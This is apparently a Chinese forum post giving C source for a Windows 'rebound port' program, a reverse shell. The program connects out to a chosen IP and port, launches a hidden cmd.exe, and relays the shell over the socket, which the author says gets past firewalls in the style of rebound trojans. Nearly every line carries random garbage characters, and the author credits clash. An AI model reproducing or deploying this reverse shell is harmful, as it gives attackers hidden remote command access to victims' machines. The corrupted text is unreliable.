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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7\\~xSXh  
`wn<3#  
/* ============================== 0i5T] )r  
Rebound port in Windows NT a=:{{\1o  
By wind,2006/7 5v Uz  
===============================*/ >m2<Nl}  
#include z^a6%N  
#include > hDsm;,/  
(dLE<\E  
#pragma comment(lib,"wsock32.lib")  &*>C PO  
dIBKE0`  
void OutputShell(); azR;*j8Q'  
SOCKET sClient; @aqd'O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uK4'n+_>\  
JA SR  
void main(int argc,char **argv) O$<%z[  
{ aUIc=Z  
WSADATA stWsaData; M<#)D  
int nRet; q5'yD;[hE  
SOCKADDR_IN stSaiClient,stSaiServer; `lu"yF  
8XS {6<  
if(argc != 3) AihL>a%  
{ qmue!Fv#g  
printf("Useage:\n\rRebound DestIP DestPort\n"); H/p-YtY  
return; O#Zs3k  
} xZ S\#{  
bCE7hutl  
WSAStartup(MAKEWORD(2,2),&stWsaData); M0Kh>u  
xtIehr0{$I  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #2lvfR|  
T$.-{I  
stSaiClient.sin_family = AF_INET; C+L_61  
stSaiClient.sin_port = htons(0); R+kZLOE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )D" G3g.  
53,,%Ue  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) guUr1Ij  
{ d=4f`q0k  
printf("Bind Socket Failed!\n"); 8~[C'+r  
return; syC"eH3{  
} N[ Lz 0c?  
Y|0-m#1F#  
stSaiServer.sin_family = AF_INET; \:_.N8"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y#SmZ*zok  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?2;n=&ZM  
g~^{-6Vg  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xvx\H'  
{ eMm~7\ R  
printf("Connect Error!"); Rbj+P;t&  
return; Kt4\&l-De  
} CyK$XDHa  
OutputShell(); w /W Cj4`  
} +/b4@B7  
A9qO2kq7_  
void OutputShell() \9|]  
{ {Hp}F!X$  
char szBuff[1024]; $*v20  
SECURITY_ATTRIBUTES stSecurityAttributes; &x0TnW"g  
OSVERSIONINFO stOsversionInfo; ?CT^Zegmr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n6!Ihip$  
STARTUPINFO stStartupInfo; ssr)f8R#,#  
char *szShell; X!+Mgh6  
PROCESS_INFORMATION stProcessInformation; 5%Fn^u:  
unsigned long lBytesRead; ,5A>:2 zs  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6JFDRsX>)?  
Lx:N!RDw  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lPFdQ8M  
stSecurityAttributes.lpSecurityDescriptor = 0; D 5r   
stSecurityAttributes.bInheritHandle = TRUE; kX ,FQG>  
i[t=@^|  
1=q?#PQ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %oCjZ"ke  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Bbt8fJA~  
zloaU  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =<'iLQb1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w)m0Z4*  
stStartupInfo.wShowWindow = SW_HIDE; 6P*)rye  
stStartupInfo.hStdInput = hReadPipe; _6-/S!7Y\  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &!YH"{b  
<]e;tF)+  
GetVersionEx(&stOsversionInfo); + $a:X  
U)w|GrxX  
switch(stOsversionInfo.dwPlatformId) 2-E71-J  
{ FTYLMQ i  
case 1: Lj Q1ar\  
szShell = "command.com"; ? -F'0-t4%  
break; 3D09P5$W  
default: -L'K  
szShell = "cmd.exe"; ~Yz/t  
break; NdSxWrD`m  
} np\Q&  
tEX~72v  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j_WF38o  
qM:)daS1w  
send(sClient,szMsg,77,0); mV(x&`Cx  
while(1) :XQ  
{ 'lRHdD}s  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _TN$c  
if(lBytesRead) &|{,4V0%A  
{ c+)|o!d  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .sR&9FH  
send(sClient,szBuff,lBytesRead,0); z3jz pmz  
} S,tVOxs^  
else 8m[L]6F(-z  
{ s=~7m.m  
lBytesRead=recv(sClient,szBuff,1024,0); MJ"Mn^:/  
if(lBytesRead<=0) break; "A1yqK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U}wq~fD  
} -Lf6]5$2'  
} iM/0Yp-v'>  
Nt^&YE7d:  
return; >(6\ C  
}
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